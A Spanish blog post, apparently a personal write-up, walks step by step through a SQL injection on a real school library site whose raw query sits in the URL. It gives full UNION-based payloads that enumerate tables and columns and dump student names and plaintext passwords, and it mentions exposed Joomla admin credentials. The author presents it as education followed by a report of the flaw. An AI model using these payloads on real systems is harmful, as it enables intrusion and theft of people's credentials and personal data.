Explotando un SQLi

Lo primero quiero aclarar que todo esto es por fines educativos y en ningún momento lo he hecho para obtener algún tipo de beneficio, salvo el conocimiento adquirido.

Este artículo, lo escribí hace bastante tiempo, pero por un motivo u otro al final nunca he llegado a publicarlo. Recientemente lo vi y con él quiero explicar como en algunos casos (más de los que deberían) se puede llegar a dumpear toda la BBDD a través de una SQL injection y sin herramientas.

A estas alturas, creo que todos sabemos lo que es un SQL Injection o, si no, puedes echarle un vistazo a SQL para dummies parte 1parte 2 y parte 3.

Introducción

La web en cuestión es la biblioteca de un instituto. Ésta tiene una sección donde puedes consultar los libros que hay. Por ejemplo, yo probé buscar los libros en los que el autor tenga la cadena Cervantes.

Como podemos apreciar, a simple vista no se ve nada extraño y parece que todo funciona con normalidad.

Pero lo “bueno” viene cuando le damos a la flecha que sería para pasar de página.

Si nos fijamos en la URL, ¡La consulta a la base de datos está ahí! Aunque yo estaba capturando todo a través de un proxy local, para atacar esta web eso no hace ni falta.

La consulta es:

SELECT fondos.idfondo id, fondos.titulo titulo,autores.a autor,fondos.anoedicion ano,fondos.lugaredicion lugar,isbn FROM fondos,autores  where  a LIKE ‘Cervantes’ and fondos.idautor=autores.idautor ORDER BY Titulo ASC

Vemos que selecciona 6 campos de 2 tablas distintas, pero en la tabla sólo muestra 3, que serán donde intentaremos que nos muestre la información.

Explorando la Base de Datos

Lo primero será modificar la consulta, para que siga siendo 6 campos, pero que no se obtengan resultados para que sólo muestre la consulta que le vamos a unir, así que la dejaremos así:

SELECT fondos.idfondo, fondos.titulo, autores.a, fondos.anoedicion, fondos.lugaredicion, isbn FROM fondos,autores WHERE 0=1 

Esto último lo que hace es condicionar que muestre los resultados de esa consulta cuando 0 sea igual que 1, como eso no es posible, nunca mostrará resultados. Ahora lo que tenemos que hacer es unirle otra consulta con lo que queramos, por ejemplo primero queremos saber cuántas tablas hay en la base de datos, así que simplemente le añadimos a la consulta

UNION ALL SELECT 1,2,table_name,4,5,6 from information_schema.tables where table_schema = database%28%29 —

Quedando la consulta así:

SELECT fondos.idfondo, fondos.titulo, autores.a, fondos.anoedicion, fondos.lugaredicion, isbn FROM fondos,autores WHERE 0=1UNION ALL SELECT 1,2,table_name,4,5,6 FROM information_schema.tables WHERE table_schema = database()–

Y lo que nos aparecería son todas las tablas de la BBDD:

Sacando los usuarios

Ahora por ejemplo, nos interesaría sacar los usuarios y contraseñas, así que buscamos la tabla que posiblemente sea y cambiamos ligeramente la consulta.

La tabla en la que en este caso están los usuarios de la biblioteca es lectores.

La consulta quedaría así:

SELECT fondos.idfondo id, fondos.titulo titulo,autores.a autor,fondos.anoedicion ano,fondos.lugaredicion lugar,isbn FROM fondos,autores WHERE 0=1 UNION ALL SELECT 1,2,column_name,4,5,6 FROM information_schema.columns WHERE table_name=”lectores” —

Y el resultado sería:

Como se puede apreciar podríamos obtener todo tipo de información del los usuarios.

Ahora simplemente, tenemos que adaptar un poco la consulta que unimos para que muestre lo que nos interesa quedando la consulta así:

SELECT fondos.idfondo id, fondos.titulo titulo,autores.a autor,fondos.anoedicion ano,fondos.lugaredicion lugar,isbn FROM fondos,autores  where 0=1 UNION ALL SELECT 1,nick,clave,CONCAT(nombre,’ ‘, apellidos),5,6 FROM lectores —

Y como podemos observar, tenemos los nombres y apellidos de muchos alumnos con carnet de la biblioteca y también tenemos algunos nombres de usuario y claves de acceso en texto plano.

La web también tiene el CMS Joomla instalado y como podemos comprobar tenemos acceso a los datos del usuario administrador. A partir de aquí también podríamos tomar el control de Joomla añadiendo otro usuario o simplemente cambiando la clave del usuario administrador.

He de decir que en esta web el fallo era colosal al colosal ya que colocar directamente la consulta es impensable aunque por un motivo u otro es posible que esto se pueda dar.

Una vez que detecté el fallo, vi hasta donde podía llegar y reporté para que lo arreglaran.

Y hasta aquí el artículo, espero que os haya gustado y cuando encuentre otra web, tocará escribir uno nuevo 😏.

Un saludo.

@RaSr98

local_offerevent_note diciembre 11, 2018

account_box Rafael Sojo


local_offer

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *